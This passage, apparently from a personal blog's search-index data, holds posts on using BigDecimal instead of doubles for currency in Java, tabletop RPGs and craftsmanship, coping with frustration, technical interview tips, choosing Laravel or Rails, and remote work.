Figured I’d repost it to this blog.\nMany of you may have learned the following in Java 101, but I thought I’d repeat it just in case.\n","title":"A Couple Pointers","type":"posts"},{"content":"This is an article that I wrote a few years ago that still applies today. It sounds very specific to Java, but it\u0026rsquo;s something you need to watch out for in any language.\nWorking with decimal numbers can be more complicated than it might seem. Many a Java programmer has been bitten by using doubles when calculating currency or another decimal value that relies on precision.\nThe problem # Let\u0026rsquo;s say that we need to calculate a customer\u0026rsquo;s bill. They used 80000.01 kWHs (big bill!) and we charge a dollar per kWH for this customer. To calculate that in cents, we just do:\ndouble amount = 80000.01 * 100.0; The answer we expect from this is 8000001. What we actually get, however, is 8000000.999999999! Why is this? Because doubles are inaccurate with large numbers. They just can\u0026rsquo;t handle the calculation. They are actually made to be fast, not accurate.\nYou see, the decimal number must first be converted into a binary number. Due to the way that works, it can be impossible to store that decimal number into a binary representation, Just like you can\u0026rsquo;t make ⅓ into a decimal number.\n⅓ = 0.33333333333333333333333333333333...\nThe threes just never end! If you want to store that number somewhere, you\u0026rsquo;ll have to eventually cut it off somewhere, and that means you\u0026rsquo;ve lost your precision. It\u0026rsquo;ll be almost correct, but not quite.\nIf you\u0026rsquo;re not careful with this, you can start to drop cents and, with enough accounts being calculated this way, dropped cents will soon mean a dropped job. When doing large financial, with-real-money calculations, almost correct is not correct.\nSo what should we do? # The Java language has anticipated this and created an object that can handle decimal numbers accurately. That class is BigDecimal . Using BigDecimals, our previous example would look like this:\nBigDecimal kWH = new BigDecimal(\u0026#34;80000.01\u0026#34;); BigDecimal price = new BigDecimal(\u0026#34;100.0\u0026#34;); BigDecimal amount = kWH.multiply(price); More complicated but we get the right answer of 8000001.00. It\u0026rsquo;s important to create the BigDecimal with Strings so that we keep the numbers safe from being accidentally converted into doubles at any time. If we called this as new BigDecimal(80000.01); , the number would be translated as a double first and then a BigDecimal, and we\u0026rsquo;ll have the same problem we had before. We should avoid using double s at all when dealing with important decimal numbers.\nRemember: BigDecimal, not double or Double!\n","date":"5 January 2017","externalUrl":null,"permalink":"/double-trouble-dont-use-doubles-currency-accurate-decimals/","section":"Posts","summary":"This is an article that I wrote a few years ago that still applies today. It sounds very specific to Java, but it’s something you need to watch out for in any language.\n","title":"Double Trouble (Don't use doubles for currency or accurate decimals)","type":"posts"},{"content":"I used to play role playing games in High School. Namely, the Teenage Mutant Ninja Turtles Role Playing game. I was the GM. I played almost every weekend with my brother and my best friend\u0026ndash;the center of the football team. I loved those games. I think we ignored half the rules, but the stories we created are still some of my best memories from that time.\nJump to today and my kids have gotten to the age where they are starting to stretch their storytelling wings a bit. I\u0026rsquo;ve helped them along with that by talking about stories and doing NaNoWriMo with them, but I held off a bit on playing RPGs with them. I bought all the D\u0026amp;D 5th edition books, but the amount of crap you have to keep track of to play even a simple game is astounding. It ended up being too much work for me and we never really got into playing. I remembered it being all about a shared story that we would create together, but D\u0026amp;D just felt like accounting most of the time.\nThen I heard about the Open Legend RPG system. It was just as their Kickstarter was starting. I dove into the rules that are freely posted on their website and liked what I saw. I could tell right away that this project had a mission, and it was being driven with a passion by its creator, Brian Feister. In fact, right on the front page, the system\u0026rsquo;s Mission Statement is proudly displayed:\nOpen Legend is a streamlined system designed to let you tell big stories using small rules.\nAnd it does that, very well. Since the system is open source, there are many rules discussions that go on about adding or changing rules and if there\u0026rsquo;s anything I\u0026rsquo;ve seen from these discussions, it\u0026rsquo;s that Brian will never complicate these rules. Brian has a mission and a vision; to create a set of rules that are simple and flexible and don\u0026rsquo;t get in the way of a good story. If a new rules supports that, it\u0026rsquo;s in. If it doesn\u0026rsquo;t, it\u0026rsquo;s rejected with great prejudice.\nYou see, Brian is a craftsman. He has a vision and he cares enough about that vision to say \u0026ldquo;No\u0026rdquo; to things that won\u0026rsquo;t get him where he wants to go.\nThe same has been said of Steve Jobs, Bill Gates and Elon Musk. They have personal philosophies that drive their work. They aren\u0026rsquo;t out to please everyone but they are out to make an impact, to accomplish what they see as important. To follow their vision. And that\u0026rsquo;s what all successful craftspeople do.\nThis is something that I struggled with for a long time. I can do anything, so what the heck do I want to do? Without a framework in which to choose what I say no to versus what I say yes to, I could never focus my energies enough to make a real impact. So I\u0026rsquo;ve started stepping back recently and am trying to decide, what kind of impact do I most want to make? What do I find fulfilling and how can I leverage my experience to focus my energy in those directions?\nI think this is the next level that I need to get to. I\u0026rsquo;m working it out and I also think that hearing from you has been a big help in that regard. If you find any of my writing here helpful or interesting, let me know. Send me an email at joe@jerickson.net or fill out the contact us form and tell me about your struggles. If my past students are any indication, I usually have a helpful tip or two to pass on.\nOne thing I do find fulfilling now\u0026ndash;playing role playing games with my daughters. Thanks to Open Legend and Brian\u0026rsquo;s vision, I can now continue a tradition from my childhood with my children and delve deep into our imaginations and create whole new worlds, together. I hope it\u0026rsquo;s as memorable for them as it was for me.\n","date":"8 December 2016","externalUrl":null,"permalink":"/being-a-craftsperson/","section":"Posts","summary":"I used to play role playing games in High School. Namely, the Teenage Mutant Ninja Turtles Role Playing game. I was the GM. I played almost every weekend with my brother and my best friend–the center of the football team. I loved those games. I think we ignored half the rules, but the stories we created are still some of my best memories from that time.\n","title":"Being a Craftsperson","type":"posts"},{"content":"","date":"8 December 2016","externalUrl":null,"permalink":"/categories/your-computer-science-career/","section":"Categories","summary":"","title":"Your Computer Science Career","type":"categories"},{"content":"Take a look at this email and think about what it would mean about your career.\nWhat about this email is different than most of the job postings out there that you routinely see?\nObviously, I put a big fat outline under one of those aspects; that they don\u0026rsquo;t care if I even know the language. The thing that most starting or junior developers are most worried about\u0026ndash;\u0026ldquo;I need to know XYZ\u0026rdquo;\u0026ndash;a hiring business in my area doesn\u0026rsquo;t even care about. The big list of qualifications you must have for this job are no where to be seen in this job posting. They\u0026rsquo;re not asking for 5 years experience in X or 3 years experience in Y.\nWhy is that? # The answer is the difference between a Senior Developer and a Junior Developer. I\u0026rsquo;ve been thinking a lot about this lately. How to quantify this difference and how to explain this difference to those who have only seen one side of it. How to show someone what they need to know to go from a Junior Developer to a Senior Developer. And if you think it\u0026rsquo;s just work experience that makes this difference, you\u0026rsquo;re absolutely wrong. Going from Junior to Senior has much more to do with how you approach the job than with what you do on it.\nBut what are some things you notice in the email above versus the job postings you get as a new or Junior Developer? What do you think those differences mean?\n","date":"29 November 2016","externalUrl":null,"permalink":"/want-email-like/","section":"Posts","summary":"Take a look at this email and think about what it would mean about your career.\nWhat about this email is different than most of the job postings out there that you routinely see?\n","title":"Would you want an email like this?","type":"posts"},{"content":"I\u0026rsquo;ve always been a little more tenacious than most people I know, willing to spend the time to flail before making the breakthrough that gets the results I\u0026rsquo;m looking for.1 I think part of that has to do with the fact that I do most of the flailing in private, at a computer where no one can point out my failures or see what I\u0026rsquo;m working on before it\u0026rsquo;s ready. But as I\u0026rsquo;ve taught other people programming over the years, I\u0026rsquo;m always surprised at how quickly they throw in the towel on problems that I know are solvable.\nIn fact, I\u0026rsquo;ve been able to come up with a good metric around if someone will be successful in programming or not and it\u0026rsquo;s all in how well they handle frustration. Frustration is a major part of the job. In fact, you could say that frustration is the job. I\u0026rsquo;m handling the frustration in getting this thing to work so that you don\u0026rsquo;t have to. People are willing to pay a lot of money to have that happen. I\u0026rsquo;m not saying that I don\u0026rsquo;t have skills that will save them money or make them money, but my best skill is that I\u0026rsquo;m willing to live with a lot of frustration in getting us there.\nIf I\u0026rsquo;m interviewing someone for a programmer position and they\u0026rsquo;re getting frustrated and giving up, I would never think of hiring them. As a programmer, you are either experiencing frustration each and every day or you\u0026rsquo;re doing something you\u0026rsquo;ve done before and not growing. And if you don\u0026rsquo;t know how to handle frustration without giving up, you\u0026rsquo;ve done far too little of the former and way too much of the later.\nWhich might be why I don\u0026rsquo;t see frustration as a bad thing, something to be avoided. If I\u0026rsquo;m not frustrated, I\u0026rsquo;m not learning. Frustration is the signal that I\u0026rsquo;m working on something important and all the different avenues I\u0026rsquo;m exploring in trying to solve the problem are things that I\u0026rsquo;ve never attempted before. Frustration is a friend that lets me know I\u0026rsquo;m on an interesting path. It might feel like I\u0026rsquo;m stuck or that I\u0026rsquo;m an idiot or that I don\u0026rsquo;t know what I\u0026rsquo;m doing, but I\u0026rsquo;ve felt that enough times to know what none of those feelings are true. Like the soreness you feel after working out2, it means that I\u0026rsquo;ve worked hard and I\u0026rsquo;m growing and I\u0026rsquo;m closer than ever to reaching my goals.\nSome people say that being frustrated is like banging your head against the wall, and if that\u0026rsquo;s true then I guess I just have a harder head than others because I know that if I keep at it, that wall is coming down. But I see it more like I\u0026rsquo;m climbing a mountain. I\u0026rsquo;m climbing this mountain and I get to a point where I can\u0026rsquo;t go any higher. There\u0026rsquo;s a shelf that juts out above me or there\u0026rsquo;s just sheer rock with no finger holds at all. Here, in my analogy, most people just climb down and go home, thinking the task was impossible or beyond them. But there has to be a way. Other people have climbed this mountain, so it\u0026rsquo;s got to be possible. So I climb back down a little ways and try a different route. Dead end again? Try something else. And I\u0026rsquo;ll keep trying because I know something about frustration that others don\u0026rsquo;t seem to get:\nThe feelings of frustration\u0026ndash;stupidity, hopelessness, failure\u0026ndash;aren\u0026rsquo;t real. None of that is real. The reality is that I just haven\u0026rsquo;t been here before, which is nothing to feel bad about and is actually a little exciting. The frustration is a sign, a sign that I\u0026rsquo;m learning something new. Something that no one has, or possibly can, teach me and I must learn by doing it. I will emerge on the other side with the right answer. I don\u0026rsquo;t know how or when, but I will succeed. Somebody has struggled with this before and if they can do it, so will I. And it will feel awesome in direct proportion to how bad the frustration felt. So don\u0026rsquo;t give up. Ever. The best way past frustration is through it. There is another avenue. There is another way to approach the problem. Always. Can\u0026rsquo;t think of it? Take a nap. (Completely serious.) More experiments will come to you and eventually, I promise, you\u0026rsquo;ll figure it out.\nYou always will.\nI actually do this very poorly in social contexts but very well in technical ones. But that\u0026rsquo;s for another post.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEveryone says they actually like the soreness, but I\u0026rsquo;ve been running for a couple of years now and I don\u0026rsquo;t believe them. \u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"5 January 2016","externalUrl":null,"permalink":"/dont-fear-frustration/","section":"Posts","summary":"I’ve always been a little more tenacious than most people I know, willing to spend the time to flail before making the breakthrough that gets the results I’m looking for.1 I think part of that has to do with the fact that I do most of the flailing in private, at a computer where no one can point out my failures or see what I’m working on before it’s ready. But as I’ve taught other people programming over the years, I’m always surprised at how quickly they throw in the towel on problems that I know are solvable.\n","title":"Don't fear the frustration","type":"posts"},{"content":"","date":"5 January 2016","externalUrl":null,"permalink":"/categories/frustration/","section":"Categories","summary":"","title":"Frustration","type":"categories"},{"content":"","date":"5 January 2016","externalUrl":null,"permalink":"/categories/professionalism/","section":"Categories","summary":"","title":"Professionalism","type":"categories"},{"content":"I\u0026rsquo;ve been running a few tech interviews for the consulting company that I get work from and I\u0026rsquo;m realizing, most people aren\u0026rsquo;t very good at it.\nBut that\u0026rsquo;s understandable. It\u0026rsquo;s not like we do it very often and it\u0026rsquo;s hard to get practice in on the interviewee side (interviewers do this all the time). Here are a couple of mistakes I\u0026rsquo;ve seen recently:\nBeing non-chatty\nYes, I see this as a mistake. When an interviewer asks you a question, they\u0026rsquo;re looking for a thoughtful answer, but also an opinion, some kind of sign that you actually care about the topic at hand. When you give an answer with no room for discussion (some questions will require that, but not all) then it\u0026rsquo;s hard for the interviewer to see you as inquisitive and interested in the work that you\u0026rsquo;re being interviewed on.\nTrying to answer every question\nJust because I ask you a question doesn\u0026rsquo;t mean that I expect you to be able to answer it. Part of my job as an interviewer is to see where the limits of your knowledge lie. \u0026ldquo;I don\u0026rsquo;t know\u0026rdquo; is a perfectly good answer. \u0026ldquo;I\u0026rsquo;ve heard of that but never used it\u0026rdquo; is also okay. \u0026ldquo;I don\u0026rsquo;t know much about that. Can you tell me about it?\u0026rdquo; is the best answer in this situation, especially if you can then link it back to something you do know about. Remember, asking questions and getting the interviewer talking is good for you.\nJust because someone asks you a question doesn\u0026rsquo;t mean they require you to know the answer. Be honest instead of trying to make something up and they\u0026rsquo;ll like you better for it.\nNot assuming that every question has a purpose\nI had two interviews on the same day recently and decided to give the same programming exercise to both interviewees. It involved writing a class that had three properties in whatever language the interviewee was most comfortable in and then adding a method that contained a simple algorithm that printed out some simple data.\nThe first interviewee chose Python as his language and immediately ran into problems writing the class. He couldn\u0026rsquo;t quite remember the syntax and stumbled a bit in getting it to compile. Then when adding the method, he couldn\u0026rsquo;t get it to work right away. He got frustrated after awhile and I had to jump in and fix it to get us moving along.\nI then asked him to add a second method almost identical to the first but with one small change.\nNow, how would you solve this? I hope your first thought would be, \u0026ldquo;Why is the interviewer asking me to do this?\u0026rdquo; If you think of it that way, it should be obvious that I\u0026rsquo;m seeing if you\u0026rsquo;ll follow good programming practices. If you copy and paste, you lose because now you\u0026rsquo;ll have a bunch of duplicated code and that\u0026rsquo;s never good. I expect you to refactor your code and change the existing method to either take a new parameter that tells it which thing to print or some other inventive way to solve the problem without duplicating a lot of code.\nThe first interviewee just copied and pasted after thinking about refactoring. He knew what I wanted and just took the easy route anyway! The second interviewee (who knew his chosen language way better than the first) talked about both options and then asked me if I had time for him to refactor. I told him, \u0026ldquo;If the interviewer is asking a question, it\u0026rsquo;s probably for a reason.\u0026rdquo; So he refactored.\nIt looks like I\u0026rsquo;m going to be running quite a few interviews over the next couple of weeks and hopefully, there are other little tips I can extract from my experience. Leave a comment and tell me what you think your biggest mistake was in a recent interview.\n","date":"13 August 2015","externalUrl":null,"permalink":"/three-mistakes-in-technical-interview/","section":"Posts","summary":"I’ve been running a few tech interviews for the consulting company that I get work from and I’m realizing, most people aren’t very good at it.\nBut that’s understandable. It’s not like we do it very often and it’s hard to get practice in on the interviewee side (interviewers do this all the time). Here are a couple of mistakes I’ve seen recently:\n","title":"Don't make these three mistakes in your technical interview","type":"posts"},{"content":"","date":"13 August 2015","externalUrl":null,"permalink":"/categories/interviewing/","section":"Categories","summary":"","title":"Interviewing","type":"categories"},{"content":"","date":"13 August 2015","externalUrl":null,"permalink":"/categories/tech-interview/","section":"Categories","summary":"","title":"Tech Interview","type":"categories"},{"content":"When talking about interviews, most programmers are interested in the technical interview. And why not? It\u0026rsquo;s what we know. We think that if we can solve a problem on a whiteboard, we should get the job. Meritocracy for the win!\nBut at most companies, it really doesn\u0026rsquo;t work like that. The management in charge of the programmers will always have the last say in whether you\u0026rsquo;re hired or not. What they want to know is, \u0026ldquo;Can this person do this job?\u0026rdquo; and more specifically, \u0026ldquo;Can this person solve the problem that we\u0026rsquo;re hiring for in the first place\u0026rdquo;. Every piece of what you go through in an interview is geared towards determining that, including the tech interview with the existing programmers.\nRemember every job posting was posted because there is an immediate problem that needs fixed and that problem will never be included in the job posting. The job posting will say how fun a place the company is to work for and what kind of skills they want you to have and that you should be \u0026ldquo;hard-working\u0026rdquo; and \u0026ldquo;ready to work at a fast paced environment\u0026rdquo;. But you need to remember that there is a problem that has popped up that caused this job listing to be posted now and not last month.\nIf you can figure out this problem and position yourself as the solution, everything else becomes a lot easier.\nSo, if you can prove directly to the hiring manager that you can solve this problem, that can sometimes short circuits any objections that they may have in other areas. The following has landed me many jobs after only one interview, including having one manager follow me down to the lobby after the interview and tell me, \u0026ldquo;You\u0026rsquo;ve got the job. We just need to follow procedure and finish the rest of the interviews. Please, don\u0026rsquo;t take another job until then.\u0026rdquo;\nIt\u0026rsquo;s a good feeling. :)\nKey Phrases to Use # \u0026ldquo;Tell me more about that.\u0026rdquo; # In most of my successful interviews, I\u0026rsquo;ve talked less than the person that\u0026rsquo;s interviewing me. Always be looking to ask questions to 1) show that you\u0026rsquo;re interested in what they\u0026rsquo;re doing and 2) to get them excited about getting their problems fixed. While they\u0026rsquo;re talking about their problems (and they have some, that\u0026rsquo;s why they\u0026rsquo;re hiring right now), you\u0026rsquo;re looking for places to say the things I\u0026rsquo;ve listed below. If you can present yourself as the answer to their pain, you\u0026rsquo;ll have a huge advantage.\nDuring this questioning, you should be looking to say the following phrases:\n\u0026ldquo;Yeah, I\u0026rsquo;ve done that.\u0026rdquo; # At every opportunity that you can, you want to say these words. You should always keep in mind the things you\u0026rsquo;ve done in the past and be ready to apply those experiences to the conversation at hand.\n\u0026ldquo;Create a Laravel web application? Yeah, I\u0026rsquo;ve done that with company ABC and they\u0026rsquo;re using now as their main platform.\u0026rdquo;\n\u0026ldquo;Fix up a Ruby on Rails application? Yeah, I\u0026rsquo;ve done that and made some extra tweaks to improve it\u0026rsquo;s performance from 300 millisecond response times to 50 millisecond response times.\u0026rdquo;\nAnd it doesn\u0026rsquo;t even have to be exactly the same work, but if it requires the same solution, use it.\n\u0026ldquo;Search for all locations near a given zip code? Yeah, I\u0026rsquo;ve done that by using an SQL function to calculate distances between two addresses.\u0026rdquo;\nThe point here is letting someone know that you not only can do what they\u0026rsquo;re hiring for, but you\u0026rsquo;ve already done what they\u0026rsquo;re hiring you for and that you can bring that experience with you on the job. Managers love it when they know you\u0026rsquo;ll start adding value right from the minute they start paying you, so make it absolutely clear to them that that will happen if they pick you.\n\u0026ldquo;Yeah, I\u0026rsquo;ve done something like that.\u0026rdquo; # This is level two. If you can\u0026rsquo;t say \u0026ldquo;I\u0026rsquo;ve done that\u0026rdquo; at least try to say this.\n\u0026ldquo;You build web applications using Java and Spring? Yeah, I\u0026rsquo;ve built Java web apps, but I\u0026rsquo;ve mainly used Struts in the past. I know that Spring is a more modern take on MVC in enterprise Java and I\u0026rsquo;ve been looking into it.\u0026rdquo;\nSee all that gobbledygook at the end? That\u0026rsquo;s research. Even if you haven\u0026rsquo;t done it directly, you need to be able to talk intelligently about it to relate the skill they\u0026rsquo;re looking for to the skill you already know.\nLook at the list of skills in the job description. Take any that you don\u0026rsquo;t know and look them up online. Do they kind of relate to things that you already know? Remember that and use the above technique in your interview. Heck, with all the tutorials out there about everything, learn it before the interview so that you can talk intelligently about it. Mention what you love about it, how it handles dependency injection for you, how it\u0026rsquo;s templating language is so much clearer than regular JSP, whatever. You might be scared that you\u0026rsquo;ll come off sounding like a newb, but you\u0026rsquo;ll sound like an interested newb who isn\u0026rsquo;t afraid to learn and that\u0026rsquo;s really what people are looking for.\nMost interviewers know that they aren\u0026rsquo;t going to get lucky enough to have someone come in and perfectly match everything listed in their job posting, so showing that you\u0026rsquo;re willing to learn and have related experience (and attempt to pick it up before the interview even starts) will make you stand out in their eyes.\n\u0026ldquo;Yeah, I could learn that like I learned this.\u0026rdquo; # I\u0026rsquo;m going to admit that this is the weakest avenue to go down, but it\u0026rsquo;s a good fail-safe when you\u0026rsquo;re surprised with something that you didn\u0026rsquo;t know about before hand.\n\u0026ldquo;Have you ever worked with \\[obscure technology\\]?\u0026rdquo;\n\u0026ldquo;No, I haven\u0026rsquo;t. Could you talk a little about it?\u0026rdquo; (Always get them talking.)\n\u0026ldquo;Blah, blah, blah.\u0026rdquo;\n\u0026ldquo;That sounds really interesting. I\u0026rsquo;d love to learn more about it. I was able to pick up XYZ pretty quickly and this doesn\u0026rsquo;t sound too hard to learn either.\u0026rdquo;\nBasically, the idea here is to show that you know how to learn and can apply that to this job too.\nTakeaways:\nA job is only posted because the company has a problem. Your job in the interview is to identify that problem and show that you are the solution. In a job interview, your interviewers should be talking more than you. Illustrate that you can fix the problem they have or are someone who can learn to fix the problem they have. ","date":"16 June 2015","externalUrl":null,"permalink":"/put-sparkle-hiring-managers-eye/","section":"Posts","summary":"When talking about interviews, most programmers are interested in the technical interview. And why not? It’s what we know. We think that if we can solve a problem on a whiteboard, we should get the job. Meritocracy for the win!\n","title":"How to put a sparkle in a hiring manager's eye","type":"posts"},{"content":"","date":"16 June 2015","externalUrl":null,"permalink":"/categories/industry-knowledge/","section":"Categories","summary":"","title":"Industry Knowledge","type":"categories"},{"content":"I want to learn web development. but i\u0026rsquo;m stuck in choosing the language (PHP or Ruby). I heard about Laravel I think it is interesting and I also heard that it is same as Rails. So I think which will be a better choice to learn Laravel or Rails framework and which has a bright future?\nThank you so much for your question.\nI want to start my answer by saying that I can\u0026rsquo;t give you a definite answer, but you also shouldn\u0026rsquo;t be stuck on this. Pick one, and if you want me to pick one for you to make it easier, pick Rails. There are a lot of good resources out there for learning Ruby and Rails and, in the end, learning programming is learning programming and you need to start somewhere.\nBut, to give you a more detailed answer, we need to look at why you want to learn programming and I\u0026rsquo;m going to assume you want to learn it to start earning money at it. If money is truly not your goal, then go with Rails and have fun.\nMost web applications running on the internet today are using PHP. Anyone who says otherwise is lying. Most of the popular content management systems that people and businesses run are in PHP (including Drupal, Joomla and WordPress) and almost every web host supports PHP where as very few support Ruby or Python without a lot of painful set up. This drives most businesses to use PHP applications rather than Ruby due to it being just plain cheaper to do (both in hosting fees and in developer fees). It\u0026rsquo;s cheaper to run a Joomla site with a bazillion plugins and buy a couple of customizations than have a custom CMS built in Rails.\nBecause of this, there always seems to be demand for PHP developers, especially at the low end. If you imagine the web programming market as a scale, from people wanting small tweaks to an already built website or application up to large enterprise applications that take huge teams and many months to complete, each programming language naturally fits in at different levels.\nJava and .Net live at the top. Every Fortune 500 company uses one of these languages almost guaranteed in their IT department. If that\u0026rsquo;s where you plan to end up, either as a contractor or as an employee, I would recommend looking into those.\nLook at big web properties like Google, Ebay, Facebook, Twitter and Amazon and they\u0026rsquo;re using Java too. But they also have a lot of systems in languages like Ruby, Python and PHP. Typically, they have their massive back-end systems in Java and C++ while the actual web application is in Ruby or PHP. citation provided\nIf you look at smaller start ups, you see a lot of Ruby on Rails or PHP. This is where most of the Ruby on Rails developers are that I know of.\nThen you have everyday business people, blogs, businesses where their number one things isn\u0026rsquo;t IT, etc. This is mostly dominated by PHP. Like I said above, most of them just want something that works and by building on a base of feature rich, open source web applications like Drupal, Joomla or WordPress, they can save a lot of money but still get things that help them get their work done.\nThe key when looking at what to shoot for is to realize that the bottom of that scale has massively more jobs available than the top of that scale. It\u0026rsquo;s way harder to get a job at Google than it is to get a couple of side gigs setting up someone\u0026rsquo;s website. The pay is different, of course, but you need to move up a ladder in this business anyway and the more experience you get, the better clients you can get and the more you can charge.\nIf you want to have programming paying off sooner, rather than later, focus on the bottom of that scale and learn while someone pays you to help them. As I\u0026rsquo;ve said before, once you learn a language, picking up another one is a lot easier. Don\u0026rsquo;t think that this one decision is the last one you can make on this. I have a tutoring student that started off learning Java and then moved into picking up Ruby on Rails. Now he\u0026rsquo;s doing Python and loving it. Once you learn programming, the jump to a new language is easy in comparison.\nBottom line: Get started. If you think you want to make money sooner rather than later, learn PHP and Laravel. It\u0026rsquo;s a great framework and I would put it up there with Rails in how feature rich it is. Also, the PHP skills you learn along the way will transfer to some of the most used software in the internet today for businesses of all kinds. But Ruby on Rails is more fun and maybe even a little easier to pick up (although getting it set up on your computer is the definition of pain. I suggest you use Cloud9 to skip the headache while you\u0026rsquo;re learning.)\nI will be continuing my tutorial on Laravel now that the holidays have wound down as well. Be sure to check that out.\n","date":"28 January 2015","externalUrl":null,"permalink":"/ask-away-laravel-rails/","section":"Posts","summary":"I want to learn web development. but i’m stuck in choosing the language (PHP or Ruby). I heard about Laravel I think it is interesting and I also heard that it is same as Rails. So I think which will be a better choice to learn Laravel or Rails framework and which has a bright future?\n","title":"Ask Away: Laravel or Rails?","type":"posts"},{"content":"","date":"28 January 2015","externalUrl":null,"permalink":"/categories/cloud9/","section":"Categories","summary":"","title":"Cloud9","type":"categories"},{"content":"","date":"28 January 2015","externalUrl":null,"permalink":"/categories/php/","section":"Categories","summary":"","title":"Php","type":"categories"},{"content":"","date":"28 January 2015","externalUrl":null,"permalink":"/categories/rails/","section":"Categories","summary":"","title":"Rails","type":"categories"},{"content":"","date":"28 January 2015","externalUrl":null,"permalink":"/categories/ruby/","section":"Categories","summary":"","title":"Ruby","type":"categories"},{"content":"When my Dad got out of the Army in 1971, he got a job with AT\u0026amp;T as a repairman. He worked there his whole career for 41 years until he retired two years ago. This was normal for his generation and the generation before his. You got a job at a big corporation right out of college (or the Army) and they took care of you, treated you like one of the family and carried you through your career to a safe, and funded, retirement.\nBoy, how times have changed.\nWhen I got my first job at a web design shop while still in college, I honestly thought that I would have that job until retirement. In 1998, web design shops hadn\u0026rsquo;t been around very long, but I always thought that that was how work worked, you got a job and stuck with it until the end. They would take care of you and you would work your butt off for them. It was a mutually beneficial agreement and everything would be roses and sunshine. I was a little more than a bit naive.\nWe could have discussions on why companies no longer care about their employees or why the youth of today have no loyalty, but the fact is, times have changed. Stable employment is a thing of the past. It\u0026rsquo;s certainly true that many corporations have stopped caring so much about each employee, but that\u0026rsquo;s mainly because the corporations themselves are unstable and their business too unpredictable to reliably forecast what kind of work they\u0026rsquo;ll be doing in six months. Technology is moving at a pace that anyone fighting to keep old business models are being left behind quicker than the government can bail them out.\nThis is bad for corporations, and bad for the people who choose to work for them, but I think it\u0026rsquo;s great for people going into work for themselves.\nTechnology\u0026rsquo;s main goal at the moment is lowering costs. Computers were adopted to lower the cost of bookkeeping and publishing. Amazon lowered the cost of publishing, finding and buying books. YouTube did the same for video and broadcasting. Etsy lowered the cost of selling your crafts online. Kickstarter lowered the cost of raising capital for a business idea. Bitcoin is lowering the cost of online payments. The list goes on and will continue to grow.\nBy lowering costs, technology has broken the hold corporations had on many industries. They can no longer use higher costs to act as barriers that they did in the 20th century. With an abundance of low-cost solutions, now anyone can write and publish to millions of people, anyone can write, produce, and publish their own TV show, and anyone can start their own business from their bedroom.\nIt\u0026rsquo;s actually possible in this new world to make a living doing what you love for the first time in a long time. More and more people are following their dreams and finding an audience for their work. The startup cost of nearly everything is close enough to zero that the only thing stopping us now is our own dedication, understanding of our potential clients, and willingness to put in the work to make it happen. My Dad could have never dreamed of this and I can\u0026rsquo;t imagine being without it.\nI did eventually leave that web design company and have since worked for a number of other corporations, but I\u0026rsquo;ve also hosted a long running podcast, ran a freelance web development company, founded a startup and self published a few books along the way. The problem now isn\u0026rsquo;t, \u0026ldquo;What can I do?\u0026rdquo;, but more \u0026ldquo;What should I do?\u0026rdquo; I realizing that my greatest strength going forward is going to be my ability to focus and not just my ability to get things done.\nThat is scary and uncertain, but it\u0026rsquo;s also freeing. We can do anything now, the hard part is figuring out what.\nIf you could do anything, what would you do?\n","date":"12 January 2015","externalUrl":null,"permalink":"/new-world-work/","section":"Posts","summary":"When my Dad got out of the Army in 1971, he got a job with AT\u0026T as a repairman. He worked there his whole career for 41 years until he retired two years ago. This was normal for his generation and the generation before his. You got a job at a big corporation right out of college (or the Army) and they took care of you, treated you like one of the family and carried you through your career to a safe, and funded, retirement.\n","title":"The New World of Work","type":"posts"},{"content":"","date":"8 October 2014","externalUrl":null,"permalink":"/categories/employment/","section":"Categories","summary":"","title":"Employment","type":"categories"},{"content":"","date":"8 October 2014","externalUrl":null,"permalink":"/categories/remote-work/","section":"Categories","summary":"","title":"Remote Work","type":"categories"},{"content":"With the latest news that Reddit, of all places, is now forcing all of its employees to move to San Francisco to work in their local office, or go find a new job, I again thank my lucky stars that I have the option to work remotely. It\u0026rsquo;s a great time we live in when all of the tools we need and all the collaboration we want can happen anywhere in the world at any time.\nI\u0026rsquo;ve been a remote worker for about 6 years now on a number of projects and I wouldn\u0026rsquo;t trade it for anything. Are there trade-offs with having remote workers? Sure, but I think the pluses completely outweigh the minuses. Sadly, not everyone agrees with me and most of those people are old, don\u0026rsquo;t know how to judge a person\u0026rsquo;s work other than seeing them sitting at a computer and typing, and think that work should be the most important thing in their employees\u0026rsquo; lives. Sorry, I don\u0026rsquo;t agree with this and see the following as huge benefits to any company willing to go the remote working route.\nHire anyone from anywhere\nIf you can set up your company to handle remote working, you can literally hire anyone from anywhere. If your company is based in Smalltown, USA, this is a massive benefit. What are the chances that you have top notch developers within driving distance of your office? Probably pretty small, but if you can hire from anywhere then it really doesn\u0026rsquo;t matter. Take advantage of Cost Of Living differences\nI live in a small town in Ohio and, as an employee, I can make way more money working remotely just due to cost of living differences between where I live and where most of the work is located. This makes me more money but it saves my client money because I\u0026rsquo;m still cheaper than a local developer for them and am probably a little better at what I do (if I do say so myself). Save on office space\nIf most of your workers are remote, you can keep your office space requirements to a minimum. Even if you have to spend a little more for some of the online tools, like screensharing software and an online collaboration tool like Basecamp, you\u0026rsquo;re still saving huge bucks per month not housing people and providing internet/electricity/coffee for 8 to 10 hours a day to every employee. You have happier employees\nBy keeping a flexible work arrangement like this and trusting your employees to figure out how to integrate the work that needs to be done into their daily lives, you will have happier people on your team. The big problem here is the trust, most companies don\u0026rsquo;t have it. What with drug tests, dress code, mandatory working hours and locked down computers/internet, companies have proven to their employees for a couple of decades now that you won\u0026rsquo;t be trusted. I think that\u0026rsquo;s a shame and it makes people miserable knowing that they\u0026rsquo;re being watched every second of the day and big boss man might call you into his office to give you a strong talking to.\nYou might be able to tell that I have a problem with this. I think that if company doesn\u0026rsquo;t trust me, they should fire me, not try to lock me up in a little prison while I work. Letting your employees work remotely is a clear indication that there is trust between employer and employee and everyone is happier when they are trusted and relied upon to do a good job that helps everyone. I\u0026rsquo;m at a point where I would up and quit if anyone told me that I had to work in an office somewhere. I\u0026rsquo;m certainly not against the occasional group gathering, I\u0026rsquo;m at one right now in Philadelphia for the company I\u0026rsquo;m doing work for at the moment, but it just doesn\u0026rsquo;t make sense in this day and age and in this line of work to force anyone to be in an office all day long. While it may increase collaboration, as all the companies that do this point to, it also increases disruption and wastes time (I never knew how much time I spent commuting until I didn\u0026rsquo;t have to do it anymore). It also disrespects a person\u0026rsquo;s preferred method of working. I know people who would never work from home because they don\u0026rsquo;t want to. They either don\u0026rsquo;t trust themselves or, more common, want to stay at an office for the social aspect of seeing people every day. With today\u0026rsquo;s technology, both modes of working can live together in harmony and moves like what Reddit is doing is just going to hurt them in the long run.\nWhich makes me wonder, does Reddit block reddit.com on their corporate firewall to make sure \u0026ldquo;people are 